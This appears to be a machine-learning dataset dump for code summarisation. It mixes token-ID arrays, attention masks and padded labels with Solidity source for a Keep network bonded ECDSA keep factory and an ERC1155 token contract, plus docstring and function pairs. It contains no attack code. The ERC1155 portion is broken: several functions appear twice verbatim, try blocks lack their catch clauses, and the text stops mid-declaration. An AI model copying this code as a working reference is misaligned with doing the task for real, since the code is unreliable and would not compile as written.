23461,
97,
871,
18,
29076,
30,
300,
1375,
8443,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
87,
1302,
264,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
12908,
537,
12,
2867,
3410,
16,
1758,
17571,
264,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
565,
2254,
5034,
946,
273,
3844,
31,
203,
565,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
6617,
537,
628,
326,
3634,
1758,
8863,
203,
565,
2583,
12,
87,
1302,
264,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
6617,
537,
358,
326,
3634,
1758,
8863,
203,
377,
203,
565,
309,
14015,
2867,
12,
8443,
13,
422,
11784,
13,
597,
261,
81,
1580,
7688,
422,
638,
3719,
288,
203,
1377,
7721,
70,
21938,
63,
87,
1302,
264,
65,
273,
638,
31,
203,
1377,
12274,
63,
87,
1302,
264,
65,
273,
629,
31,
203,
1377,
27464,
4728,
63,
87,
1302,
264,
65,
273,
629,
31,
203,
1377,
312,
1580,
7688,
273,
629,
31,
203,
565,
289,
203,
377,
203,
565,
946,
273,
261,
7815,
63,
8443,
65,
692,
2371,
3247,
294,
3844,
1769,
203,
377,
203,
565,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
65,
273,
946,
31,
203,
565,
3626,
1716,
685,
1125,
12,
8443,
16,
17571,
264,
16,
946,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.17;
import "./BondedECDSAKeep.sol";
import "./KeepBonding.sol";
import "./api/IBondedECDSAKeepFactory.sol";
import "./CloneFactory.sol";
import "@keep-network/sortition-pools/contracts/api/IStaking.sol";
import "@keep-network/sortition-pools/contracts/api/IBonding.sol";
import "@keep-network/sortition-pools/contracts/BondedSortitionPool.sol";
import "@keep-network/sortition-pools/contracts/BondedSortitionPoolFactory.sol";
import {
AuthorityDelegator,
TokenStaking
} from "@keep-network/keep-core/contracts/TokenStaking.sol";
import "@keep-network/keep-core/contracts/IRandomBeacon.sol";
import "@keep-network/keep-core/contracts/utils/AddressArrayUtils.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/// @title Bonded ECDSA Keep Factory
/// @notice Contract creating bonded ECDSA keeps.
/// @dev We avoid redeployment of bonded ECDSA keep contract by using the clone factory.
/// Proxy delegates calls to sortition pool and therefore does not affect contract's
/// state. This means that we only need to deploy the bonded ECDSA keep contract
/// once. The factory provides clean state for every new bonded ECDSA keep clone.
contract BondedECDSAKeepFactory is
IBondedECDSAKeepFactory,
CloneFactory,
AuthorityDelegator,
IRandomBeaconConsumer
{
using AddressArrayUtils for address[];
using SafeMath for uint256;
// Notification that a new sortition pool has been created.
event SortitionPoolCreated(
address indexed application,
address sortitionPool
);
// Notification that a new keep has been created.
event BondedECDSAKeepCreated(
address indexed keepAddress,
address[] members,
address indexed owner,
address indexed application,
uint256 honestThreshold
);
// Holds the address of the bonded ECDSA keep contract that will be used as a
// master contract for cloning.
address public masterBondedECDSAKeepAddress;
// Keeps created by this factory.
address[] public keeps;
// Maps keep opened timestamp to each keep address
mapping(address => uint256) keepOpenedTimestamp;
// Mapping of pools with registered member candidates for each application.
mapping(address => address) candidatesPools; // application -> candidates pool
uint256 public groupSelectionSeed;
BondedSortitionPoolFactory sortitionPoolFactory;
TokenStaking tokenStaking;
KeepBonding keepBonding;
IRandomBeacon randomBeacon;
// Sortition pool is created with a minimum bond of 1 to avoid
// griefing.
//
// Anyone can create a sortition pool for an application. If a pool is
// created with a ridiculously high bond, nobody can join it and
// updating bond is not possible because trying to select a group
// with an empty pool reverts.
//
// We set the minimum bond value to 1 to prevent from this situation and
// to allow the pool adjust the minimum bond during the first signer
// selection.
uint256 public constant minimumBond = 1;
// Signer candidates in bonded sortition pool are weighted by their eligible
// stake divided by a constant divisor. The divisor is set to 1 KEEP so that
// all KEEPs in eligible stake matter when calculating operator's eligible
// weight for signer selection.
uint256 public constant poolStakeWeightDivisor = 1e18;
// Gas required for a callback from the random beacon. The value specifies
// gas required to call `__beaconCallback` function in the worst-case
// scenario with all the checks and maximum allowed uint256 relay entry as
// a callback parameter.
uint256 public constant callbackGas = 30000;
// Random beacon sends back callback surplus to the requestor. It may also
// decide to send additional request subsidy fee. What's more, it may happen
// that the beacon is busy and we will not refresh group selection seed from
// the beacon. We accumulate all funds received from the beacon in the
// reseed pool and later use this pool to reseed using a public reseed
// function on a manual request at any moment.
uint256 public reseedPool;
constructor(
address _masterBondedECDSAKeepAddress,
address _sortitionPoolFactory,
address _tokenStaking,
address _keepBonding,
address _randomBeacon
) public {
masterBondedECDSAKeepAddress = _masterBondedECDSAKeepAddress;
sortitionPoolFactory = BondedSortitionPoolFactory(
_sortitionPoolFactory
);
tokenStaking = TokenStaking(_tokenStaking);
keepBonding = KeepBonding(_keepBonding);
randomBeacon = IRandomBeacon(_randomBeacon);
// initial value before the random beacon updates the seed
// https://www.wolframalpha.com/input/?i=pi+to+78+digits
groupSelectionSeed = 31415926535897932384626433832795028841971693993751058209749445923078164062862;
}
/// @notice Adds any received funds to the factory reseed pool.
function() external payable {
reseedPool += msg.value;
}
/// @notice Creates new sortition pool for the application.
/// @dev Emits an event after sortition pool creation.
/// @param _application Address of the application.
/// @return Address of the created sortition pool contract.
function createSortitionPool(address _application)
external
returns (address)
{
require(
candidatesPools[_application] == address(0),
"Sortition pool already exists"
);
address sortitionPoolAddress = sortitionPoolFactory.createSortitionPool(
IStaking(address(tokenStaking)),
IBonding(address(keepBonding)),
tokenStaking.minimumStake(),
minimumBond,
poolStakeWeightDivisor
);
candidatesPools[_application] = sortitionPoolAddress;
emit SortitionPoolCreated(_application, sortitionPoolAddress);
return candidatesPools[_application];
}
/// @notice Gets the sortition pool address for the given application.
/// @dev Reverts if sortition does not exits for the application.
/// @param _application Address of the application.
/// @return Address of the sortition pool contract.
function getSortitionPool(address _application)
external
view
returns (address)
{
require(
candidatesPools[_application] != address(0),
"No pool found for the application"
);
return candidatesPools[_application];
}
/// @notice Register caller as a candidate to be selected as keep member
/// for the provided customer application.
/// @dev If caller is already registered it returns without any changes.
/// @param _application Address of the application.
function registerMemberCandidate(address _application) external {
require(
candidatesPools[_application] != address(0),
"No pool found for the application"
);
BondedSortitionPool candidatesPool = BondedSortitionPool(
candidatesPools[_application]
);
address operator = msg.sender;
if (!candidatesPool.isOperatorInPool(operator)) {
candidatesPool.joinPool(operator);
}
}
/// @notice Checks if operator's details in the member candidates pool are
/// up to date for the given application. If not update operator status
/// function should be called by the one who is monitoring the status.
/// @param _operator Operator's address.
/// @param _application Customer application address.
function isOperatorUpToDate(address _operator, address _application)
external
view
returns (bool)
{
BondedSortitionPool candidatesPool = getSortitionPoolForOperator(
_operator,
_application
);
return candidatesPool.isOperatorUpToDate(_operator);
}
/// @notice Invokes update of operator's details in the member candidates pool
/// for the given application
/// @param _operator Operator's address.
/// @param _application Customer application address.
function updateOperatorStatus(address _operator, address _application)
external
{
BondedSortitionPool candidatesPool = getSortitionPoolForOperator(
_operator,
_application
);
candidatesPool.updateOperatorStatus(_operator);
}
/// @notice Opens a new ECDSA keep.
/// @dev Selects a list of signers for the keep based on provided parameters.
/// A caller of this function is expected to be an application for which
/// member candidates were registered in a pool.
/// @param _groupSize Number of signers in the keep.
/// @param _honestThreshold Minimum number of honest keep signers.
/// @param _owner Address of the keep owner.
/// @param _bond Value of ETH bond required from the keep in wei.
/// @param _stakeLockDuration Stake lock duration in seconds.
/// @return Created keep address.
function openKeep(
uint256 _groupSize,
uint256 _honestThreshold,
address _owner,
uint256 _bond,
uint256 _stakeLockDuration
) external payable returns (address keepAddress) {
require(_groupSize > 0, "Minimum signing group size is 1");
require(_groupSize <= 16, "Maximum signing group size is 16");
require(
_honestThreshold > 0,
"Honest threshold must be greater than 0"
);
require(
_honestThreshold <= _groupSize,
"Honest threshold must be less or equal the group size"
);
address application = msg.sender;
address pool = candidatesPools[application];
require(pool != address(0), "No signer pool for this application");
// In Solidity, division rounds towards zero (down) and dividing
// '_bond' by '_groupSize' can leave a remainder. Even though, a remainder
// is very small, we want to avoid this from happening and memberBond is
// rounded up by: `(bond + groupSize - 1 ) / groupSize`
// Ex. (100 + 3 - 1) / 3 = 34
uint256 memberBond = (_bond.add(_groupSize).sub(1)).div(_groupSize);
require(memberBond > 0, "Bond per member must be greater than zero");
require(
msg.value >= openKeepFeeEstimate(),
"Insufficient payment for opening a new keep"
);
uint256 minimumStake = tokenStaking.minimumStake();
address[] memory members = BondedSortitionPool(pool).selectSetGroup(
_groupSize,
bytes32(groupSelectionSeed),
minimumStake,
memberBond
);
newGroupSelectionSeed();
keepAddress = createClone(masterBondedECDSAKeepAddress);
BondedECDSAKeep keep = BondedECDSAKeep(keepAddress);
// keepOpenedTimestamp value for newly created keep is required to be set
// before calling `keep.initialize` function as it is used to determine
// token staking delegation authority recognition in `__isRecognized`
// function.
/* solium-disable-next-line security/no-block-members*/
keepOpenedTimestamp[address(keep)] = block.timestamp;
keep.initialize(
_owner,
members,
_honestThreshold,
minimumStake,
_stakeLockDuration,
address(tokenStaking),
address(keepBonding),
address(this)
);
for (uint256 i = 0; i < _groupSize; i++) {
keepBonding.createBond(
members[i],
keepAddress,
uint256(keepAddress),
memberBond,
pool
);
}
keeps.push(address(keep));
emit BondedECDSAKeepCreated(
keepAddress,
members,
_owner,
application,
_honestThreshold
);
}
/// @notice Gets how many keeps have been opened by this contract.
/// @dev Checks the size of the keeps array.
/// @return The number of keeps opened so far.
function getKeepCount() external view returns (uint256) {
return keeps.length;
}
/// @notice Gets a specific keep address at a given index.
/// @return The address of the keep at the given index.
function getKeepAtIndex(uint256 index) external view returns (address) {
require(index < keeps.length, "Out of bounds.");
return keeps[index];
}
/// @notice Gets the opened timestamp of the given keep.
/// @return Timestamp the given keep was opened at or 0 if this keep
/// was not created by this factory.
function getKeepOpenedTimestamp(address _keep)
external
view
returns (uint256)
{
return keepOpenedTimestamp[_keep];
}
/// @notice Verifies if delegates authority recipient is valid address recognized
/// by the factory for token staking authority delegation.
/// @param _delegatedAuthorityRecipient Address of the delegated authority
/// recipient.
/// @return True if provided address is recognized delegated token staking
/// authority for this factory contract.
function __isRecognized(address _delegatedAuthorityRecipient)
external
returns (bool)
{
return keepOpenedTimestamp[_delegatedAuthorityRecipient] > 0;
}
/// @notice Sets a new group selection seed value.
/// @dev The function is expected to be called in a callback by the random
/// beacon.
/// @param _relayEntry Beacon output.
function __beaconCallback(uint256 _relayEntry) external onlyRandomBeacon {
groupSelectionSeed = _relayEntry;
}
/// @notice Checks if operator is registered as a candidate for the given
/// customer application.
/// @param _operator Operator's address.
/// @param _application Customer application address.
/// @return True if operator is already registered in the candidates pool,
/// false otherwise.
function isOperatorRegistered(address _operator, address _application)
public
view
returns (bool)
{
if (candidatesPools[_application] == address(0)) {
return false;
}
BondedSortitionPool candidatesPool = BondedSortitionPool(
candidatesPools[_application]
);
return candidatesPool.isOperatorRegistered(_operator);
}
/// @notice Checks if given operator is eligible for the given application.
/// @param _operator Operator's address.
/// @param _application Customer application address.
function isOperatorEligible(address _operator, address _application)
public
view
returns (bool)
{
if (candidatesPools[_application] == address(0)) {
return false;
}
BondedSortitionPool candidatesPool = BondedSortitionPool(
candidatesPools[_application]
);
return candidatesPool.isOperatorEligible(_operator);
}
/// @notice Gets a fee estimate for opening a new keep.
/// @return Uint256 estimate.
function openKeepFeeEstimate() public view returns (uint256) {
return randomBeacon.entryFeeEstimate(callbackGas);
}
/// @notice Calculates the fee requestor has to pay to reseed the factory
/// for signer selection. Depending on how much value is stored in the
/// reseed pool and the price of a new relay entry, returned value may vary.
function newGroupSelectionSeedFee() public view returns (uint256) {
uint256 beaconFee = randomBeacon.entryFeeEstimate(callbackGas);
return beaconFee <= reseedPool ? 0 : beaconFee.sub(reseedPool);
}
/// @notice Reseeds the value used for a signer selection. Requires enough
/// payment to be passed. The required payment can be calculated using
/// reseedFee function. Factory is automatically triggering reseeding after
/// opening a new keep but the reseed can be also triggered at any moment
/// using this function.
function requestNewGroupSelectionSeed() public payable {
uint256 beaconFee = randomBeacon.entryFeeEstimate(callbackGas);
reseedPool = reseedPool.add(msg.value);
require(reseedPool >= beaconFee, "Not enough funds to trigger reseed");
(bool success, bytes memory returnData) = requestRelayEntry(beaconFee);
if (!success) {
revert(string(returnData));
}
reseedPool = reseedPool.sub(beaconFee);
}
/// @notice Checks if the specified account has enough active stake to become
/// network operator and that this contract has been authorized for potential
/// slashing.
///
/// Having the required minimum of active stake makes the operator eligible
/// to join the network. If the active stake is not currently undelegating,
/// operator is also eligible for work selection.
///
/// @param _operator operator's address
/// @return True if has enough active stake to participate in the network,
/// false otherwise.
function hasMinimumStake(address _operator) public view returns (bool) {
return tokenStaking.hasMinimumStake(_operator, address(this));
}
/// @notice Checks if the factory has the authorization to operate on stake
/// represented by the provided operator.
///
/// @param _operator operator's address
/// @return True if the factory has access to the staked token balance of
/// the provided operator and can slash that stake. False otherwise.
function isOperatorAuthorized(address _operator)
public
view
returns (bool)
{
return tokenStaking.isAuthorizedForOperator(_operator, address(this));
}
/// @notice Gets the stake balance of the specified operator.
/// @param _operator The operator to query the balance of.
/// @return An uint256 representing the amount staked by the passed operator.
function balanceOf(address _operator) public view returns (uint256) {
return tokenStaking.balanceOf(_operator);
}
/// @notice Gets the total weight of operators
/// in the sortition pool for the given application.
/// @dev Reverts if sortition does not exits for the application.
/// @param _application Address of the application.
/// @return The sum of all registered operators' weights in the pool.
/// Reverts if sortition pool for the application does not exist.
function getSortitionPoolWeight(address _application)
public
view
returns (uint256)
{
address poolAddress = candidatesPools[_application];
require(poolAddress != address(0), "No pool found for the application");
return BondedSortitionPool(poolAddress).totalWeight();
}
/// @notice Gets bonded sortition pool of specific application for the
/// operator.
/// @dev Reverts if the operator is not registered for the application.
/// @param _operator Operator's address.
/// @param _application Customer application address.
/// @return Bonded sortition pool.
function getSortitionPoolForOperator(
address _operator,
address _application
) internal view returns (BondedSortitionPool) {
require(
isOperatorRegistered(_operator, _application),
"Operator not registered for the application"
);
return BondedSortitionPool(candidatesPools[_application]);
}
/// @notice Updates group selection seed.
/// @dev The main goal of this function is to request the random beacon to
/// generate a new random number. The beacon generates the number asynchronously
/// and will call a callback function when the number is ready. In the meantime
/// we update current group selection seed to a new value using a hash function.
/// In case of the random beacon request failure this function won't revert
/// but add beacon payment to factory's reseed pool.
function newGroupSelectionSeed() internal {
// Calculate new group selection seed based on the current seed.
// We added address of the factory as a key to calculate value different
// than sortition pool RNG will, so we don't end up selecting almost
// identical group.
groupSelectionSeed = uint256(
keccak256(abi.encodePacked(groupSelectionSeed, address(this)))
);
// Call the random beacon to get a random group selection seed.
(bool success, ) = requestRelayEntry(msg.value);
if (!success) {
reseedPool += msg.value;
}
}
/// @notice Requests for a relay entry using the beacon payment provided as
/// the parameter.
function requestRelayEntry(uint256 payment)
internal
returns (bool, bytes memory)
{
return
address(randomBeacon).call.value(payment)(
abi.encodeWithSignature(
"requestRelayEntry(address,uint256)",
address(this),
callbackGas
)
);
}
/// @notice Checks if the caller is the random beacon.
/// @dev Throws an error if called by any account other than the random beacon.
modifier onlyRandomBeacon() {
require(
address(randomBeacon) == msg.sender,
"Caller is not the random beacon"
);
_;
}
}
|
@notice Verifies if delegates authority recipient is valid address recognized by the factory for token staking authority delegation. @param _delegatedAuthorityRecipient Address of the delegated authority recipient. @return True if provided address is recognized delegated token staking authority for this factory contract.
|
function __isRecognized(address _delegatedAuthorityRecipient)
external
returns (bool)
{
return keepOpenedTimestamp[_delegatedAuthorityRecipient] > 0;
}
| 5,457,002 |
[
1,
19802,
309,
22310,
11675,
8027,
353,
923,
1758,
16332,
635,
326,
3272,
364,
1147,
384,
6159,
11675,
23595,
18,
225,
389,
3771,
1332,
690,
10962,
18241,
5267,
434,
326,
30055,
11675,
8027,
18,
327,
1053,
309,
2112,
1758,
353,
16332,
30055,
1147,
384,
6159,
11675,
364,
333,
3272,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1001,
291,
5650,
9367,
12,
2867,
389,
3771,
1332,
690,
10962,
18241,
13,
203,
3639,
3903,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
327,
3455,
23115,
4921,
63,
67,
3771,
1332,
690,
10962,
18241,
65,
405,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x13c12aCf1726cB618D6f9388FBe63c1F8754c86B/sources/contracts/ScreenArtNft.sol
|
* @dev Implementation of the basic standard multi-token. _Available since v3.1._/ Mapping from token ID to account balances Mapping from account to operator approvals Used as the URI for all token types by relying on ID substitution, e.g. https:token-cdn-domain/{id}.json
|
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
mapping (uint256 => mapping(address => uint256)) private _balances;
mapping (address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
constructor (string memory uri_) {
_setURI(uri_);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155).interfaceId
|| interfaceId == type(IERC1155MetadataURI).interfaceId
|| super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
{ }
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
